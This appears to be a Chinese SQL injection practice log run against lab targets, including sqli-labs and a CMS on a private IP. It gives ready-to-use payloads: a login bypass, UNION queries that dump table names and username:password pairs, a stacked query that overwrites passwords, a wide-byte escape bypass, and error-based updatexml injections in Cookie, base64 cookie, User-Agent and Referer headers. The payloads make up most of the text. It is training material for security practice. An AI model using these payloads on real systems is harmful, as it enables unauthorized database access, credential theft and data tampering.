SQL 注入【练习】

万能用户名

尝试登录后台

777' or 1 = 1 #

联合查询

两条 select 语句查询结果具有相同列数

判断列数

order by

判断显示位置

把第一条 select 语句的查询条件置为假

数据库敏感信息

查看所有的表名，从 information_schema.tables 查询，表名所属的库名 table_schema=database()

http://10.9.47.83/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

查看 cms_users 所有的列名，要表所属的库名和列所属的表名 table_schema=database() and table_name=‘cms_users’

http://10.9.47.83/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

userid,username,password 

从 cms_users 表查看 username，password 字段

http://10.9.47.83/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users

堆叠查询

先查询表

http://10.9.47.83/sqli-labs/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

堆叠注入

http://10.9.47.83/sqli-labs/Less-38/?id=1'; update users set password="123457" --+

宽字节注入

服务器会把单引号转义，单引号由原来的定义字符串的特殊字符被转义为 普通字符

315c27

在5C 之前添加一个字符[81,FE] 之间，该字符就会和5c 组成一个汉字

成功注入

Cooki 注入

页面中无注入点

bp cookie注入，获取数据库名称

Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select database()),0x5e),1)#

base64 注入

发送到 bp

此处是 url 编码，ctrl+shift+u 解码

解码后为 base64 ，ctrl+shift+b 解码

变成明文

加 " 后 ctrl+b 进行base64编码

发现报错，使用报错注入

Dumb" and updatexml(1,concat(0x5e,(select database()),0x5e),1) #

ctrl+b base64 编码，发送，获得数据库名称

User-Agent 注入

注入的参数在 User-Agent，闭合方式为

wwq' and '1

User-Agent: wwq' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

Referer 注入

注入参数在 Referer 字段中

Referer: wwq' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

[外链图片转存中…(img-ZIOIXLSL-1699368726456)]

Referer 注入

注入参数在 Referer 字段中

Referer: wwq' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1